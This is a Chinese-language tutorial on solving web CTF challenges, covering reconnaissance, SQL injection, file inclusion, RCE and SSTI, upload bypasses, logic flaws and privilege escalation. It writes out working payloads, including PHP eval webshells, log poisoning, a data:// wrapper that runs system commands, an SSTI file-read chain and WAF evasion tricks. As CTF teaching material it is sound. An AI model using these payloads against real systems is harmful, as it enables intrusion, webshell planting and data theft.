CTF Web 题目解题可按 信息收集→漏洞探测→漏洞利用→权限提升→获取 Flag 流程推进,以下是关键思路及技巧:
一、信息收集(解题基础)
- 网页源码:按 F12 / 右键 “查看源码”,找注释、隐藏表单(如 type="hidden" 字段 )、JS 代码(可能藏接口、加密逻辑 )。
- 目录扫描:用 dirsearch/dirb/ 御剑等工具,扫 admin/api/www.zip(源码包 )、.git(版本控制残留 )等路径,暴露敏感文件 / 目录。
- HTTP 头分析:看响应头的 Server(识别服务器类型,如 Nginx/Apache )、X-Powered-By(框架 / 语言,如 PHP/Flask ),辅助定位漏洞(如 Flask 可能有 SSTI )。
- 工具辅助:Wappalyzer 识别技术栈(框架、数据库等 );抓包工具(Burp Suite )截获请求,检查 Cookie、自定义 Header 藏的提示。
二、漏洞探测与利用(核心环节)
CTF Web 常见漏洞及解题要点:
1. SQL 注入(SQLi)
- 判断:输入点(URL 参数、表单、Cookie )传入单引号 '、双引号 " 看报错;或用 1=1/1=2 观察页面逻辑变化。
- 利用:
- Union 注入:构造 UNION SELECT 拼接查询,如 ?id=1 UNION SELECT database(),user() 爆库名、用户。
- 盲注:布尔盲注(根据 TRUE/FALSE 猜数据,如 SUBSTR(database(),1,1)='a' );时间盲注(加 SLEEP(5) ,用延迟判断条件 )。
- 绕过:空格用 /**/ 或括号代替;关键字被过滤时,替换同义词(substr→mid,union→/*!UNION*/ );用编码(URL 编码、Hex 编码 )绕 WAF。
- 工具:sqlmap 自动化注入(sqlmap -u "url?id=1" --dbs 爆库 )。
2. 文件包含(LFI/RFI)
- 判断:URL 有 ?file=xxx ,或源码见 include()/require() 函数。尝试 ?file=/etc/passwd(Linux )、?file=C:\Windows\win.ini(Windows ),看是否读取系统文件。
- 利用:
- 目录遍历:用 ../../ 回溯路径,读敏感文件(如 ?file=../../../../flag.php )。
- 协议利用:
- php://filter 读源码:?file=php://filter/convert.base64-encode/resource=index.php ,Base64 解码获代码。
- data:// 执行 PHP:?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWQnKTs/Pg==(Base64 内容为 <?php system('whoami');?> )。
- 日志包含:若服务器是 Nginx/Apache,找日志路径(如 /var/log/nginx/access.log ),往 User-Agent 写木马(<script language="php">eval($_POST['a']);</script> ),再包含日志拿 Shell。
3. 代码执行(RCE)
- 场景:PHP 有 eval()、Python 有 os.system() 等危险函数,或模板引擎(如 Jinja2 )存在 SSTI。
- 利用:
- 无字母 RCE:PHP 用异或、取反构造命令(如 (~%8F%97%8F%96%91%99%90)() 解码为 system );Linux 命令用变量拼接(a=ca;b=t;$a$b flag.txt )。
- SSTI(服务端模板注入):测试 {{7*7}} 看是否返回 49 ;利用模板内置类执行命令(Python 中 {{().__class__.__mro__[1].__subclasses__()[40]('/flag.txt').read()}} 读文件 )。
4. 文件上传漏洞
- 判断:找上传入口(表单、API ),尝试传 php/jsp 等脚本,看是否拦截。
- 绕过:
- 扩展名绕:改后缀为 .php5/.phtml(适配服务器解析规则 );或传 .htaccess(Apache 下写 AddType application/x-httpd-php .jpg ,让 JPG 解析为 PHP )。
- 内容绕:加文件头(如 GIF 头 GIF89a )伪装图片;用 %00 截断(shell.php%00.jpg ,需配合老旧 PHP 版本 )。
- 利用:传 Webshell(如 <?php @eval($_POST['cmd']);?> ),用蚁剑 / 菜刀连接拿权限。
5. 逻辑漏洞
- 场景:密码重置逻辑缺陷(验证码可复用、短信轰炸 );越权访问(改 Cookie 或参数 id=1→id=2 访问他人数据 );支付逻辑(改价格为 0 下单 )。
- 利用:抓包改参数,测试业务流程漏洞。如登录处 username=admin&password=123 不行,试试 username=admin%20(空格,利用数据库截断 )绕过校验。
三、权限提升与 Flag 获取
- 权限提升:
- 若拿到 Webshell,找服务器 SUID 文件、可写目录,或利用内核漏洞提权;
- 读配置文件(如 config.php )找数据库密码,进数据库翻数据。
- 找 Flag:
- 网页源码、注释里直接藏;
- 服务器文件系统(如 /flag、/var/www/html/flag.txt );
- 数据库表(用 SQL 注入查 flag 表数据 );
- 环境变量(echo $FLAG 或读 /proc/self/environ )。
四、通用技巧
- 工具复用:Burp Suite 抓包改包、跑爆破;Postman 测试 API 接口;
- 编码与绕过:Base64、URL 编码绕过滤;正则绕时用特殊字符(换行符 %0a 、注释 /**/ );
- 多看 Writeup:复现经典赛题(如强网杯、HackTheBox ),总结同类漏洞套路。